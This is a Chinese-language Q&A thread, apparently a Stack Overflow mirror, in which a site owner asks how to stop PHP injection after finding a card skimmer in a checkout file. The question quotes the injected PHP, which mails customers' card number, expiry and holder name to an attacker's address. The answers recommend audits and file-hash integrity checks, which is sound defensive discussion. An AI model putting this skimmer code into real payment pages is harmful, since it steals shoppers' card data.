【问题标题】:Avoiding PHP injection to Post data from a form避免 PHP 注入从表单中发布数据
【发布时间】:2013-06-28 16:12:41
【问题描述】:

我只是在我们创建的网站中重新测试流程,当我到达结帐部分时,我意识到页面中有一些我们从未编写过的代码。这是一次注射,它真的让我们害怕。 该代码只是作为文本放在其中一个签出文件中,因此它不会执行,因为它不在 PHP 标记中,但它非常可怕。

代码本质上是发布支付指令的每个字段(卡上的名称、卡类型、卡号、cvc、到期日期),然后执行 mail() php 函数将信息发送到特定的电子邮件。我什至有黑客的电子邮件!!

$message .= "Number : ".$_POST['card_number']."\n";
$message .= "Cvv : ".$_POST['card_brand']."\n";
$message .= "exp : ".$_POST['card_expiration']."\n";
$message .= "Name : ".$_POST['card_holder']."\n";
$i = "______@yahoo.fr";
$subject = "cc";
mail($i,$subject,$message);

我们如何避免在我们的网站中注入 PHP?我联系了支持我们付款的 Stripe,以检查他们的 API 是否足够安全。我认为是这样。然而,邮寄信息和其他与付款无关的信息很容易被这样的注入攻击。我们如何避免文件中的注入?

谢谢!!

【问题讨论】:

  • 有成千上万种方式可能会导致您被黑客入侵,可能是服务器/ftp/ssh 帐户,或者脚本本身易受 RFI 攻击,上传表单未正确检查文件等。您将不得不审查您的代码并采取措施。
  • 如果攻击者能够修改您的脚本之一,尽管是在 PHP 标记之外,那么您的系统中存在严重漏洞。您应该放弃所有开发工作,将查找和修复漏洞作为当务之急,尤其是考虑到您似乎直接获取信用卡详细信息。首先分析日志文件并检查所有软件是否都是最新的(Web 服务器、FTP 守护程序等)。
  • 不幸的是我不拥有服务器。它是一个提供者。我自己能做什么?我已经把投诉转告给他们了。

标签: php post payment code-injection


【解决方案1】:

这需要一个相当聪明的机器人来检测并将其注入到正确的位置。有人可以访问 FTP 或上传了一个 PHP 文件管理器——这可能来自文件上传脚本。

一旦您清理了所有内容,也许您可​​以拍摄文件的“哈希快照”。然后扫描它们(自动或手动)以测试哈希更改。如果文件中有任何更改,文件的哈希值也会更改 - 然后您可以让它提醒某人。从那里,您可以查看日志并尝试找出它的来源。

只是一个想法。

【讨论】:

  • 如何检测他们是否已将某些内容上传到服务器?
  • 查找您未上传的文件,或使用某种 c99/etc shell 检测。您的服务器上是否有任何文件上传脚本?
  • 或者在你的网站文件中搜索eval(之后,你肯定会找到c99 shell之类的。
  • 这样的事情可能会有所帮助:25yearsofprogramming.com/php/findmaliciouscode.htm - 我不得不在旧网站中使用修改过的部分。
  • 基本上,一旦您审核了整个站点及其文件,就可以对文件的哈希值进行快照。稍后,您可以根据“已知良好哈希”列表扫描文件。如果出现与好文件的快照不匹配的任何散列,或者如果出现最初未存储的散列,则您知道它已被修改。永远不要依赖上次修改的时间戳。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2014-04-29
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2014-09-15
  • 1970-01-01
相关资源
最近更新 更多